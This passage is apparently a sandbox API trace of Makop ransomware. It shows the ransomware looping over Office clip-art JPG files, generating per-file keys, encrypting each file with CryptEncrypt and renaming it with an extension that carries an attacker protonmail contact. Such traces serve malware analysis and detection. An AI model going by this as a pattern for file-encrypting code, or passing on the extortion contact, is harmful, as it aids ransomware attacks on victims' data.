lpOverlapped=0x0) returned 1 [0126.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.754] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.754] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.754] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x67a3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x67a3, lpOverlapped=0x0) returned 1 [0126.756] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x67b0, dwBufLen=0x67b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x67b0) returned 1 [0126.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x67b0, lpOverlapped=0x0) returned 1 [0126.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.758] SetEndOfFile (hFile=0xf0) returned 1 [0126.766] GetProcessHeap () returned 0x48a0000 [0126.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.767] GetProcessHeap () returned 0x48a0000 [0126.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.767] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.768] CloseHandle (hObject=0xf0) returned 1 [0126.768] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0126.769] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0126.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.770] GetProcessHeap () returned 0x48a0000 [0126.770] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.770] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0126.775] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.775] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.775] GetProcessHeap () returned 0x48a0000 [0126.776] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.777] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.777] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.777] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.779] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.779] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.779] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.779] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5de2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5de2, lpOverlapped=0x0) returned 1 [0126.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5df0, dwBufLen=0x5df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5df0) returned 1 [0126.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5df0, lpOverlapped=0x0) returned 1 [0126.782] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.782] SetEndOfFile (hFile=0xf0) returned 1 [0126.790] GetProcessHeap () returned 0x48a0000 [0126.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.790] GetProcessHeap () returned 0x48a0000 [0126.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.791] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.792] CloseHandle (hObject=0xf0) returned 1 [0126.792] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0126.793] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0126.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.799] GetProcessHeap () returned 0x48a0000 [0126.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.799] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0126.834] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.834] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.834] GetProcessHeap () returned 0x48a0000 [0126.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.836] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.836] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b2a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b2a, lpOverlapped=0x0) returned 1 [0126.838] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b30, dwBufLen=0x5b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b30) returned 1 [0126.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b30, lpOverlapped=0x0) returned 1 [0126.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.839] SetEndOfFile (hFile=0xf0) returned 1 [0126.847] GetProcessHeap () returned 0x48a0000 [0126.847] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.847] GetProcessHeap () returned 0x48a0000 [0126.847] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.847] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.849] CloseHandle (hObject=0xf0) returned 1 [0126.849] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0126.849] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0126.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.850] GetProcessHeap () returned 0x48a0000 [0126.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0126.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.855] GetProcessHeap () returned 0x48a0000 [0126.856] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.856] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.856] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.857] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7d26, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7d26, lpOverlapped=0x0) returned 1 [0126.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d30, dwBufLen=0x7d30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7d30) returned 1 [0126.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7d30, lpOverlapped=0x0) returned 1 [0126.861] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.861] SetEndOfFile (hFile=0xf0) returned 1 [0126.869] GetProcessHeap () returned 0x48a0000 [0126.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.869] GetProcessHeap () returned 0x48a0000 [0126.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.869] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.871] CloseHandle (hObject=0xf0) returned 1 [0126.871] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0126.871] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0126.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.873] GetProcessHeap () returned 0x48a0000 [0126.874] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.874] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.878] GetProcessHeap () returned 0x48a0000 [0126.879] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.879] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.879] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, 